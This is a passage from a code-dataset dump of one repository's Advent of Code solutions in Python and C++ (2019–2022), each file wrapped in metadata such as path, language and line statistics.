"SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-21.txt') as f:\n all_ingredients = []\n all_allergens = []\n for food_item in f.read().splitlines():\n food_info = food_item.split(' ')\n all_ingredients.append(food_info[:food_info.index('(contains')])\n all_allergens.append([a.strip('),') for a in food_info[food_info.index('(contains') + 1:]])\n\ndef intersect_lists(lists):\n intersected = lists[0]\n for lst in lists[1:]:\n intersected_copy = intersected.copy()\n for item in intersected:\n if item not in lst:\n intersected_copy.remove(item)\n\n intersected = intersected_copy.copy()\n\n return intersected\n\n@timed\ndef part_one(all_ingredients, all_allergens):\n allergen_dict = {}\n for allergen in set([a for food_alg in all_allergens for a in food_alg]):\n allergen_dict[allergen] = []\n for ings, allergens in zip(all_ingredients, all_allergens):\n if allergen in allergens:\n allergen_dict[allergen].append(ings)\n\n allergen_ings = {allergen: intersect_lists(ings) for allergen, ings in allergen_dict.items()}\n\n flat_ingredients = [ing for food_ing in all_ingredients for ing in food_ing]\n # Maybe I should actually write down what each variable's structure is so i dont compare a string w/ a list...\n # and spend 1 hour wondering why it doesnt work\n safe_ingredients = [ing for ing in flat_ingredients if ing not in [a for pa in allergen_ings.values() for a in pa]]\n return len(safe_ingredients), allergen_ings\n\n@timed\ndef part_two(allergen_ings):\n allergen_iter_order = sorted([a for a in allergen_ings.keys()], key=lambda a: len(allergen_ings[a]))\n allergen2ingredient_map = {}\n removed_ingredients = []\n while len(allergen2ingredient_map) < len(allergen_iter_order):\n for a in allergen_iter_order:\n if len(allergen_ings[a]) == 1:\n allergen2ingredient_map[a] = allergen_ings[a][0]\n removed_ingredients.append(allergen_ings[a][0])\n else:\n for ing in removed_ingredients:\n if ing in allergen_ings[a]:\n allergen_ings[a].remove(ing)\n\n alphasorted_allergens = sorted(allergen2ingredient_map.keys())\n output = ''\n for a in alphasorted_allergens:\n output += f'{allergen2ingredient_map[a]},'\n return output[:-1]\n\n\nanswer, allergen_ings = part_one(all_ingredients, all_allergens)\nprint(answer)\nprint(part_two(allergen_ings))\n" }, { "alpha_fraction": 0.5717761516571045, "alphanum_fraction": 0.5920519232749939, "avg_line_length": 27.022727966308594, "blob_id": "e4507acc4cbc8457a7935ebcec7a971cc5b9bcf3", "content_id": "bdf1ab92b92e209e056b3608e4153469cfb9b8c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 115, "num_lines": 44, "path": "/2020/2020-05.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-05.txt') as f:\n boarding_passes = f.read().splitlines()\n\ndef partition_binary_space(min_num: int, max_num: int, lower_symbol: str, upper_symbol: str, sequence: str) -> int:\n for i in sequence:\n if i == lower_symbol:\n max_num -= int((max_num - min_num) / 2) + 1\n elif i == upper_symbol:\n min_num += int((max_num - min_num) / 2) + 1\n else:\n raise ValueError(f'Incorrect symbol {i}')\n\n if min_num != max_num:\n raise ValueError('Incorrect sequence length or min/max number')\n\n return min_num\n\n@timed\ndef part_one(boarding_passes):\n seat_ids = []\n for bp in boarding_passes:\n row_num = partition_binary_space(0, 127, 'F', 'B', bp[:7])\n col_num = partition_binary_space(0, 7, 'L', 'R', bp[7:])\n seat_ids.append(row_num * 8 + col_num)\n\n return seat_ids\n\n@timed\ndef part_two(seat_ids):\n seat_ids.sort()\n previous_seat_id = -1\n for seat in seat_ids:\n if previous_seat_id != -1 and seat - 1 != previous_seat_id:\n return seat - 1\n previous_seat_id = seat\n\n\n# Part 1\nseat_ids = part_one(boarding_passes)\nprint(max(seat_ids))\n# Part 2\nprint(part_two(seat_ids))\n" }, { "alpha_fraction": 0.43190884590148926, "alphanum_fraction": 0.44501423835754395, "avg_line_length": 30.339284896850586, "blob_id": "1d3a3d3bae6d794692b414d9b95ea6f2dc11af16", "content_id": "17c9d2abe0845890383dc2ae453f1879c36e2629", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1755, "license_type": "no_license", "max_line_length": 93, "num_lines": 56, "path": "/2021/Day10/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <stack>\n#include <map>\n#include <vector>\n#include <algorithm>\n\nint main()\n{\n std::ifstream input(\"input.txt\");\n std::string line;\n\n std::map<char, char> chunkPairs = { {'(', ')'}, {'[', ']'}, {'{', '}'}, {'<', '>'} };\n std::map<char, int> errorTable = { {')', 3}, {']', 57}, {'}', 1197}, {'>', 25137} };\n std::map<char, int> completionTable = { {'(', 1}, {'[', 2}, {'{', 3}, {'<', 4} };\n \n int errorScore = 0;\n std::vector<long long int> completionScores;\n while (input >> line) {\n std::stack<char> chunks;\n\n bool corrupted = false;\n for (int i = 0; i < line.length(); i++) {\n if (line[i] == '(' || line[i] == '[' || line[i] == '{' || line[i] == '<') {\n chunks.push(line[i]);\n }\n else {\n char openchunk = chunks.top();\n if (chunkPairs[openchunk] == line[i]) {\n chunks.pop();\n }\n else {\n errorScore += errorTable[line[i]];\n corrupted = true;\n break;\n }\n }\n }\n\n if (!corrupted) {\n long long int completionScore = 0;\n while (!chunks.empty()) {\n char top = chunks.top();\n completionScore *= 5;\n completionScore += completionTable[top];\n chunks.pop();\n }\n completionScores.push_back(completionScore);\n }\n }\n\n std::sort(completionScores.begin(), completionScores.end());\n\n std::cout << \"Part 1: \" << errorScore << std::endl;\n std::cout << \"Part 2: \" << completionScores.at(completionScores.size() / 2) << std::endl;\n}\n" }, { "alpha_fraction": 0.48901981115341187, "alphanum_fraction": 0.5002678036689758, "avg_line_length": 30.644067764282227, "blob_id": "bfb25f49283abc60e7b21cf2f6e9bd2a96fffeb4", "content_id": "d718827f70b43cb7433435bec309f80e308d96ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1867, "license_type": "no_license", "max_line_length": 97, "num_lines": 59, "path": "/2022/day08.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from collections import defaultdict\n\nfrom utils import read_lines, timed\n\ngrid = [list(map(int, line)) for line in read_lines('day08.txt')]\ndirections = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n\nvisited = defaultdict(set)\ndef is_visible(row, col, dr, dc, height):\n '''This can be iterative, but initially I thought this was like the pacific/atlantic\n water flow leetcode question so I thought I needed to dfs, and I'm not going to rewrite it'''\n if (row, col) in visited[(dr, dc)]:\n return True\n if row + dr not in range(len(grid)) or col + dc not in range(len(grid[0])):\n visited[(dr, dc)].add((row, col))\n return True\n if height > grid[row + dr][col + dc]:\n return is_visible(row + dr, col + dc, dr, dc, height)\n return False\n\n\n@timed\ndef part_one():\n visible = set()\n for r in range(len(grid)):\n for c in range(len(grid[0])):\n for dr, dc in directions:\n if is_visible(r, c, dr, dc, grid[r][c]):\n visible.add((r, c))\n break\n return len(visible)\n\n@timed\ndef part_two():\n highest_score = 0\n for r in range(len(grid)):\n for c in range(len(grid[0])):\n score = 1\n for dr, dc in directions:\n dist = 0\n while True:\n row = r + (dist + 1) * dr\n col = c + (dist + 1) * dc\n if row not in range(len(grid)) or col not in range(len(grid[0])):\n score *= dist\n break\n dist += 1\n if grid[row][col] >= grid[r][c]:\n score *= dist\n break\n if score == 0:\n break\n highest_score = max(score, highest_score)\n\n return highest_score\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.543639063835144, "alphanum_fraction": 0.5702662467956543, "avg_line_length": 21.915254592895508, "blob_id": "b7af80ed516f36d038bcf24bb85698ccc1c8282f", "content_id": "48633702e7312dc608cc5693aca15c3089dded46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1352, "license_type": "no_license", "max_line_length": 87, "num_lines": 59, "path": "/2022/day07.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_lines, timed\n\nimport heapq\n\n\nclass Directory:\n def __init__(self, name):\n self.name = name\n self.parent = None\n self.child_dirs = {}\n self.size = 0\n\n def add_child(self, dir_: 'Directory'):\n dir_.parent = self\n self.child_dirs[dir_.name] = dir_\n\n\nroot = Directory('/')\ncurr = root\n\nfor line in read_lines('day07.txt'):\n words = line.split(' ')\n if words[0] == '$' and words[1] == 'cd':\n if words[2] == '..':\n curr = curr.parent\n elif words[2] != '/':\n curr = curr.child_dirs[words[2]]\n elif words[0] == 'dir':\n curr.add_child(Directory(words[1]))\n elif words[0].isnumeric():\n curr.size += int(words[0])\n\ndir_sizes = []\n\ndef dfs(root):\n total_size = root.size\n for child in root.child_dirs.values():\n total_size += dfs(child)\n dir_sizes.append(total_size)\n return total_size\n\n\n@timed\ndef part_one():\n dfs(root)\n return sum(s for s in dir_sizes if s < 100_000)\n\n@timed\ndef part_two():\n free_space = 70_000_000 - dir_sizes[-1] # in traversal, root size is appended last\n min_delete = 30_000_000 - free_space\n heapq.heapify(dir_sizes)\n while len(dir_sizes) > 0:\n if (size := heapq.heappop(dir_sizes)) >= min_delete:\n return size\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.500805139541626, "alphanum_fraction": 0.527858316898346, "avg_line_length": 34.28409194946289, "blob_id": "edb2349d6afbf081ed6686027af3ad4632b2da24", "content_id": "d1e1359ef352247973d3ab4191bcb840673e0056", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3105, "license_type": "no_license", "max_line_length": 126, "num_lines": 88, "path": "/2019/2019-07.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import itertools\n\nfrom utils import timed\n\n\nclass IntcodeSolver:\n def __init__(self, intcode):\n self.intcode = intcode.copy()\n self.pointer = 0\n self.output = None\n self.increments = (4, 4, 2, 2, 3, 3, 4, 4)\n\n def get_param(self, mode, n):\n if mode == 0:\n return self.intcode[self.intcode[self.pointer + n]]\n elif mode == 1:\n return self.intcode[self.pointer + n]\n\n def run(self, inputs):\n \"\"\"Returns output[int], is_running[bool]\"\"\"\n # Part 2 only passes in 1 input\n if type(inputs) == int:\n inputs = [inputs]\n\n while True:\n instruction = f'{self.intcode[self.pointer]:05}'\n opcode = int(instruction[-2:])\n modes = [int(m) for m in reversed(instruction[:3])]\n\n if opcode == 1:\n self.intcode[self.intcode[self.pointer + 3]] = self.get_param(modes[0], 1) + self.get_param(modes[1], 2)\n elif opcode == 2:\n self.intcode[self.intcode[self.pointer + 3]] = self.get_param(modes[0], 1) * self.get_param(modes[1], 2)\n elif opcode == 3:\n if not inputs:\n return self.output, True\n self.intcode[self.intcode[self.pointer + 1]] = inputs.pop(0)\n elif opcode == 4:\n self.output = self.get_param(modes[0], 1)\n elif opcode == 5:\n if self.get_param(modes[0], 1) != 0:\n self.pointer = self.get_param(modes[1], 2) - 3\n elif opcode == 6:\n if self.get_param(modes[0], 1) == 0:\n self.pointer = self.get_param(modes[1], 2) - 3\n elif opcode == 7:\n self.intcode[self.intcode[self.pointer + 3]] = int(self.get_param(modes[0], 1) < self.get_param(modes[1], 2))\n elif opcode == 8:\n self.intcode[self.intcode[self.pointer + 3]] = int(self.get_param(modes[0], 1) == self.get_param(modes[1], 2))\n elif opcode == 99:\n return self.output, False\n else:\n raise ValueError(f'Unknown opcode {opcode} at index {self.pointer}')\n\n self.pointer += self.increments[opcode - 1]\n\n\n@timed\ndef part_one():\n intcode = [int(x) for x in open('inputs/2019-07.txt').read().split(',')]\n combos = []\n for p in itertools.permutations(range(5)):\n output = 0\n for i in range(5):\n output, _ = IntcodeSolver(intcode).run([p[i], output])\n combos.append(output)\n print(max(combos))\n\n@timed\ndef part_two():\n intcode = [int(x) for x in open('inputs/2019-07.txt').read().split(',')]\n combos = []\n for p in itertools.permutations(range(5, 10)):\n amps = []\n last_output = 0\n is_running = True\n for i in range(5):\n amps.append(IntcodeSolver(intcode))\n amps[i].run(p[i])\n while is_running:\n for i, a in enumerate(amps):\n last_output, is_running = a.run(last_output)\n combos.append(last_output)\n print(max(combos))\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.5080721974372864, "alphanum_fraction": 0.5574548840522766, "avg_line_length": 28.661972045898438, "blob_id": "a688ce759ca29a8a3889982a4b231ddd39886731", "content_id": "975a648d7522ac1296f76f6337ec9b83e64ee881", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2106, "license_type": "no_license", "max_line_length": 78, "num_lines": 71, "path": "/2020/2020-22.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-22.txt') as f:\n lines = f.read().splitlines()\n p1deck = list(map(int, lines[1:lines.index('')]))\n p2deck = list(map(int, lines[lines.index('') + 2:]))\n\n@timed\ndef part_one(p1deck, p2deck):\n while len(p1deck) > 0 and len(p2deck) > 0:\n p1card = p1deck.pop(0)\n p2card = p2deck.pop(0)\n if p1card > p2card:\n p1deck.append(p1card)\n p1deck.append(p2card)\n else:\n p2deck.append(p2card)\n p2deck.append(p1card)\n\n winning_deck = p1deck if len(p2deck) == 0 else p2deck\n\n score = 0\n for i, card in enumerate(winning_deck[::-1]):\n score += card * (i + 1)\n\n return score\n\ndef play_rcombat_game(p1deck, p2deck) -> int:\n \"\"\"Plays a recursive combat game and returns the player # of the winner\"\"\"\n previous_rounds = []\n while len(p1deck) > 0 and len(p2deck) > 0:\n previous_rounds.append([p1deck.copy(), p2deck.copy()])\n if [p1deck, p2deck] in previous_rounds[:-1]:\n p2deck = []\n break\n p1card = p1deck.pop(0)\n p2card = p2deck.pop(0)\n if len(p1deck) >= p1card and len(p2deck) >= p2card:\n winner, _ = play_rcombat_game(p1deck[:p1card], p2deck[:p2card])\n if winner == 1:\n p1deck.append(p1card)\n p1deck.append(p2card)\n else:\n p2deck.append(p2card)\n p2deck.append(p1card)\n else:\n if p1card > p2card:\n p1deck.append(p1card)\n p1deck.append(p2card)\n else:\n p2deck.append(p2card)\n p2deck.append(p1card)\n\n if len(p2deck) == 0:\n return 1, p1deck\n return 2, p2deck\n\n@timed\ndef part_two(p1deck, p2deck):\n # Part 2 takes ~18 seconds to run, good enough\n winner, winning_deck = play_rcombat_game(p1deck, p2deck)\n\n score = 0\n for i, card in enumerate(winning_deck[::-1]):\n score += card * (i + 1)\n\n return score\n\n\nprint(part_one(p1deck.copy(), p2deck.copy()))\nprint(part_two(p1deck.copy(), p2deck.copy()))\n" }, { "alpha_fraction": 0.6097015142440796, "alphanum_fraction": 0.624626874923706, "avg_line_length": 31.682926177978516, "blob_id": "55327af0bcbded64661a57f430e811982497e46f", "content_id": "ad09df981349201e2fd9908d7634e1b1cd7b563f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1340, "license_type": "no_license", "max_line_length": 116, "num_lines": 41, "path": "/2020/2020-06.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-06.txt') as f:\n input_lines = f.read().splitlines()\n\ndef get_group_indexes(input_lines):\n group_indexes = []\n for i, line in enumerate(input_lines):\n if i == 0 or input_lines[i - 1] == '': # beginning of a group\n group_indexes.append([i, None])\n if i == len(input_lines) - 1 or input_lines[i + 1] == '': # end of a group\n group_indexes[-1][1] = i\n\n return group_indexes\n\n@timed\ndef part_one(input_lines):\n group_indexes = get_group_indexes(input_lines)\n return sum([len(set(''.join(input_lines[group_index[0]:group_index[1] + 1]))) for group_index in group_indexes])\n\n@timed\ndef part_two(input_lines):\n group_indexes = get_group_indexes(input_lines)\n\n unique_yes_answers = []\n for group_index in group_indexes:\n group_responses = input_lines[group_index[0]:group_index[1] + 1]\n responses_to_check = {letter: True for letter in group_responses[0]}\n\n for g in group_responses[1:]:\n for letter in responses_to_check.keys():\n if letter not in g:\n responses_to_check[letter] = False\n\n unique_yes_answers.append(len([i for i in responses_to_check.values() if i]))\n\n return sum(unique_yes_answers)\n\n\nprint(part_one(input_lines))\nprint(part_two(input_lines))\n" }, { "alpha_fraction": 0.5206349492073059, "alphanum_fraction": 0.5388888716697693, "avg_line_length": 27.636363983154297, "blob_id": "8c1121fe28b1565c49dbf2224af142c17e42a3c9", "content_id": "918cac0234f375dab4066243ea22f7c5ef77a612", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1260, "license_type": "no_license", "max_line_length": 100, "num_lines": 44, "path": "/2022/day13.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from functools import cmp_to_key\nfrom itertools import zip_longest\n\nfrom utils import read_split, timed\n\npacket_pairs = [list(eval(p) for p in pair.split('\\n')) for pair in read_split('day13.txt', '\\n\\n')]\n\ndef compare(l1: list, l2: list) -> int:\n '''Compares two lists. Returns -1, 0, or 1 so we can use cmp_to_key'''\n for left, right in zip_longest(l1, l2):\n if left is None:\n return -1\n if right is None:\n return 1\n if type(left) == int and type(right) == int:\n if left < right:\n return -1\n if left > right:\n return 1\n else:\n if type(left) == int:\n left = [left]\n if type(right) == int:\n right = [right]\n res = compare(left, right)\n if res != 0:\n return res\n return 0\n\n@timed\ndef part_one():\n return sum(i + 1 for i, pair in enumerate(packet_pairs) if compare(*pair) == -1)\n\n@timed\ndef part_two():\n packets = [p for pair in packet_pairs for p in pair]\n packets.append([[2]])\n packets.append([[6]])\n packets.sort(key=cmp_to_key(compare))\n return (packets.index([[2]]) + 1) * (packets.index([[6]]) + 1)\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.643410861492157, "alphanum_fraction": 0.6589147448539734, "avg_line_length": 12, "blob_id": "faaa55634bac701dac353d6e3f4324a553ba16d7", "content_id": "b62bca44a9878837ee691085fc64f0d35a050e0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 129, "license_type": "no_license", "max_line_length": 32, "num_lines": 10, "path": "/2021/Day09/point.h", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#pragma once\n#include <vector>\n\nclass Point {\npublic:\n\tint x;\n\tint y;\n\tPoint(int x1, int y1);\n\tstd::vector<Point> adjPoints();\n};" }, { "alpha_fraction": 0.5381801724433899, "alphanum_fraction": 0.5537265539169312, "avg_line_length": 30.84951400756836, "blob_id": "cdcbf7018e53cc61dd4cb30ff7c97e607a39e02a", "content_id": "44ac74332f58c7ae703da3a2592c231075c54e31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6561, "license_type": "no_license", "max_line_length": 156, "num_lines": 206, "path": "/2020/2020-20.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import regex as re # Pip package called regex that makes it easy to find overlapping matches\n\nfrom utils import timed\n\nwith open('inputs/2020-20.txt') as f:\n lines = f.read().splitlines()\n\n tiles = {}\n i = 0\n while i < len(lines):\n tile_id = re.match(r'Tile (\\d+):', lines[i]).group(1)\n tiles[int(tile_id)] = lines[i + 1:i + lines.index('')]\n i += lines.index('') + 1\n\n\n@timed\ndef part_one(tiles):\n tile_borders = {}\n for tile_id, tile in tiles.items():\n borders = [\n tile[0],\n tile[-1],\n ''.join([row[0] for row in tile]),\n ''.join([row[-1] for row in tile])\n ]\n for border in borders:\n if tile_borders.get(border):\n tile_borders[border].append(tile_id)\n elif tile_borders.get(border[::-1]):\n tile_borders[border[::-1]].append(tile_id)\n else:\n tile_borders[border] = [tile_id]\n\n edge_tiles = [tile_id[0] for tile_id in tile_borders.values() if len(tile_id) == 1]\n corner_tiles = []\n product = 1\n for tile_id in edge_tiles:\n if edge_tiles.count(tile_id) == 2 and tile_id not in corner_tiles:\n corner_tiles.append(tile_id)\n product *= tile_id\n\n return product, tile_borders, corner_tiles\n\ndef rotate_tile(tile, deg):\n for _ in range(int(deg / 90)):\n cols = [''.join([row[i] for row in tile]) for i in range(len(tile[0]))]\n tile = [c[::-1] for c in cols]\n return tile\n\ndef flip_tile(tile, direction):\n \"\"\"direction=0 is horizontal, direction=1 is vertical\"\"\"\n if direction == 0:\n return [row[::-1] for row in tile]\n return tile[::-1]\n\ndef create_orientation_list(tile):\n possible_orientations = []\n for r in range(4):\n rtile = rotate_tile(tile, r * 90)\n possible_orientations.append(rtile)\n for f in range(2):\n possible_orientations.append(flip_tile(rtile, f))\n\n return possible_orientations\n\ndef find_other_item(lst, item):\n for i in lst:\n if i != item:\n return i\n\ndef orient_next_tile(tiles, tiles_to_left, tiles_to_top, tile_id, first_col_id):\n try:\n left_tile = tiles_to_left[-1]\n right_border = ''.join([row[-1] for row in left_tile])\n except IndexError:\n left_tile = None\n first_col_id = tile_id\n try:\n top_tile = tiles_to_top[len(tiles_to_left)]\n bot_border = top_tile[-1]\n except IndexError:\n top_tile = None\n\n current_tile = tiles[tile_id]\n possible_orientations = create_orientation_list(current_tile)\n\n for o in possible_orientations:\n num_correct = 0\n if left_tile:\n if ''.join([row[0] for row in o]) == right_border:\n num_correct += 1\n else:\n num_correct += 1\n if top_tile:\n if o[0] == bot_border:\n num_correct += 1\n else:\n num_correct += 1\n\n if num_correct == 2:\n tiles_to_left.append(o)\n break\n\n ctile_borders = {border: tile_ids for border, tile_ids in tile_borders.items() if len(tile_ids) == 2 and tile_id in tile_ids}\n if len(tiles_to_left) == 12:\n left_row_tile = tiles_to_left[0]\n lrt_bot_border = left_row_tile[-1]\n\n try:\n next_tile_id = find_other_item(tile_borders[lrt_bot_border], first_col_id)\n except KeyError:\n next_tile_id = find_other_item(tile_borders[lrt_bot_border[::-1]], first_col_id)\n\n tiles_to_top = tiles_to_left\n tiles_to_left = []\n else:\n try:\n next_tile_id = find_other_item(ctile_borders[''.join([row[-1] for row in tiles_to_left[-1]])], tile_id)\n except KeyError:\n try:\n next_tile_id = find_other_item(ctile_borders[''.join([row[-1] for row in tiles_to_left[-1]])[::-1]], tile_id)\n except KeyError:\n next_tile_id = None\n\n try:\n prev_tile = tiles_to_left[-1]\n except IndexError:\n prev_tile = tiles_to_top[-1]\n\n if next_tile_id:\n return prev_tile + orient_next_tile(tiles, tiles_to_left, tiles_to_top, next_tile_id, first_col_id)\n\n return prev_tile\n\n\n@timed\ndef part_two(tiles, tile_borders, corner_tiles):\n corner_id = corner_tiles[0]\n corner_tile = tiles[corner_id]\n possible_orientations = create_orientation_list(corner_tile)\n ctile_borders = {border: tile_ids for border, tile_ids in tile_borders.items() if len(tile_ids) == 2 and corner_id in tile_ids}\n\n for o in possible_orientations:\n num_correct = 0\n for border in ctile_borders.keys():\n bottom_and_right = (o[-1], ''.join([row[-1] for row in o]))\n if border in bottom_and_right:\n num_correct += 1\n elif border[::-1] in bottom_and_right:\n num_correct += 1\n if num_correct == 2:\n top_left_tile = o\n break\n\n try:\n\n next_tile_id = find_other_item(ctile_borders[''.join([row[-1] for row in top_left_tile])], corner_id)\n except KeyError:\n next_tile_id = find_other_item(ctile_borders[''.join([row[-1] for row in top_left_tile])[::-1]], corner_id)\n\n\n # Returns a list of all the rows, every 10 rows is 1 tile\n flat_image_rows = orient_next_tile(\n tiles=tiles,\n tiles_to_left=[top_left_tile],\n tiles_to_top=[],\n tile_id=next_tile_id,\n first_col_id=corner_id\n )\n\n i = 0\n flat_image = [top_left_tile]\n while i < len(flat_image_rows):\n flat_image.append(flat_image_rows[i:i + 10])\n i += 10\n\n # Remove borders\n for i in range(len(flat_image)):\n flat_image[i] = [row[1:-1] for row in flat_image[i][1:-1]]\n\n\n i = 0\n image_arr = []\n while i < len(flat_image):\n image_arr.append(flat_image[i:i + 12])\n i += 12\n\n image = []\n for img_row in image_arr:\n row_fmt = ['' for _ in range(8)]\n for tile in img_row:\n for i, tile_row in enumerate(tile):\n row_fmt[i] += tile_row\n image += row_fmt\n\n image_possibilities = create_orientation_list(image)\n for p in image_possibilities:\n p_str = '\\n'.join(p)\n match = re.findall(r'#[#\\.\\n]{78}#[#\\.]{4}##[#\\.]{4}##[#\\.]{4}###[#\\.\\n]{78}#[#\\.]{2}#[#\\.]{2}#[#\\.]{2}#[#\\.]{2}#[#\\.]{2}#', p_str, overlapped=True)\n if len(match) > 0:\n return p_str.count('#') - len(match) * 15\n\n\nanswer, tile_borders, corner_tiles = part_one(tiles)\nprint(answer)\nprint(part_two(tiles, tile_borders, corner_tiles))\n" }, { "alpha_fraction": 0.5084590911865234, "alphanum_fraction": 0.5308641791343689, "avg_line_length": 24.430233001708984, "blob_id": "23448e69c1fe03da4a73c3d323e78671c4aff6c9", "content_id": "378621d37369687d4fe5669deec5f2665c83a5a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2187, "license_type": "no_license", "max_line_length": 130, "num_lines": 86, "path": "/2020/2020-19.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nimport re\n\n\nwith open('inputs/2020-19.txt') as f:\n lines = f.read().splitlines()\n rules = lines[:lines.index('')]\n msgs = lines[lines.index('') + 1:]\n\n\ndef parse_rules(rules, part):\n rules_dict = {}\n for r in rules:\n if part == 2:\n if r == '8: 42':\n r = '8: 42 | 42 8'\n elif r == '11: 42 31':\n r = '11: 42 31 | 42 11 31'\n rule_num, required_match = r.split(': ')\n parsed_match = []\n if '\"' in required_match:\n parsed_match.append([required_match.strip('\"')])\n else:\n matches = required_match.split(' | ')\n for match in matches:\n parsed_match.append(list(map(int, match.split(' '))))\n\n rules_dict[int(rule_num)] = parsed_match\n\n return rules_dict\n\n\nREPEATED_RECURSION = 0\n\ndef get_rule_pattern(rules, num):\n global REPEATED_RECURSION\n options = []\n for option in rules[num]:\n match = []\n for sub_rule in option:\n if sub_rule in ('a', 'b'):\n match.append(sub_rule)\n else:\n if sub_rule == num:\n REPEATED_RECURSION += 1\n if REPEATED_RECURSION > 5: # This can be adjusted until the output stops changing or the recursion limit gets hit\n match.append('')\n REPEATED_RECURSION = 0\n else:\n match.append(get_rule_pattern(rules, sub_rule))\n\n\n options.append(''.join(match))\n\n if len(options) == 1:\n return fr'{options[0]}'\n return fr\"({'|'.join(options)})\"\n\n@timed\ndef part_one(rules, msgs):\n rules = parse_rules(rules, 1)\n re_pattern = get_rule_pattern(rules, 0)\n\n valid_msgs = 0\n for msg in msgs:\n if re.fullmatch(re_pattern, msg):\n valid_msgs += 1\n\n return valid_msgs\n\n@timed\ndef part_two(rules, msgs):\n rules = parse_rules(rules, 2)\n re_pattern = get_rule_pattern(rules, 0)\n\n valid_msgs = 0\n for msg in msgs:\n if re.fullmatch(re_pattern, msg):\n valid_msgs += 1\n\n return valid_msgs\n\n\nprint(part_one(rules, msgs))\nprint(part_two(rules, msgs))\n" }, { "alpha_fraction": 0.39586594700813293, "alphanum_fraction": 0.4058878719806671, "avg_line_length": 24.141733169555664, "blob_id": "8f9615ad8e4f8464e0f80ccec5cf6cb33fdca8dc", "content_id": "f3cf45f3fd58f862e6ccce5a0495a09ff5db4288", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3193, "license_type": "no_license", "max_line_length": 90, "num_lines": 127, "path": "/2021/Day05/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <map>\n#include <tuple>\n#include <vector>\n#include <algorithm>\n#include <regex>\n\nstruct Point {\n int x;\n int y;\n};\n\n// Necessary for Point to be a map key\ninline bool operator<(const Point &p1, const Point &p2) {\n if (p1.x != p2.x) {\n return p1.x < p2.x;\n }\n else {\n return p1.y < p2.y;\n }\n}\n\nint min(int x, int y) {\n return x < y ? x : y;\n}\n\nint max(int x, int y) {\n return x > y ? x : y;\n}\n\nint main()\n{\n std::string line;\n std::ifstream input(\"input.txt\");\n\n std::vector<std::pair<Point, Point>> vents;\n while (std::getline(input, line)) {\n line = std::regex_replace(line, std::regex(\" -> \"), \",\");\n std::replace(line.begin(), line.end(), ',', ' ');\n std::stringstream lineStream(line);\n Point p1, p2;\n lineStream >> p1.x;\n lineStream >> p1.y;\n lineStream >> p2.x;\n lineStream >> p2.y;\n vents.push_back(std::make_pair(p1, p2));\n }\n\n std::map<Point, int> dangerZones;\n for (const auto &v : vents)\n {\n if (v.first.x == v.second.x) {\n for (int y = min(v.first.y, v.second.y); y <= max(v.first.y, v.second.y); y++)\n {\n Point p;\n p.x = v.first.x;\n p.y = y;\n if (dangerZones.find(p) == dangerZones.end()) {\n dangerZones[p] = 1;\n }\n else {\n dangerZones[p]++;\n }\n }\n } else if (v.first.y == v.second.y) {\n for (int x = min(v.first.x, v.second.x); x <= max(v.first.x, v.second.x); x++)\n {\n Point p;\n p.x = x;\n p.y = v.first.y;\n if (dangerZones.find(p) == dangerZones.end()) {\n dangerZones[p] = 1;\n }\n else {\n dangerZones[p]++;\n }\n }\n }\n }\n\n int numDanger = 0;\n for (const auto &p : dangerZones) {\n if (p.second >= 2) {\n numDanger++;\n }\n }\n\n std::cout << \"Part 1: \" << numDanger << std::endl;\n\n for (const auto& v : vents) {\n if (v.first.x != v.second.x && v.first.y != v.second.y) {\n int x = min(v.first.x, v.second.x);\n int y, yinc;\n if (x == v.first.x) {\n y = v.first.y;\n yinc = y < v.second.y ? 1 : -1;\n } else{\n y = v.second.y;\n yinc = y < v.first.y ? 1 : -1;\n }\n while (x <= max(v.first.x, v.second.x)) {\n Point p;\n p.x = x;\n p.y = y;\n if (dangerZones.find(p) == dangerZones.end()) {\n dangerZones[p] = 1;\n }\n else {\n dangerZones[p]++;\n }\n x++;\n y += yinc;\n }\n }\n }\n\n int numDanger2 = 0;\n for (const auto &p : dangerZones) {\n if (p.second >= 2) {\n numDanger2++;\n }\n }\n\n std::cout << \"Part 2: \" << numDanger2 << std::endl;\n}\n" }, { "alpha_fraction": 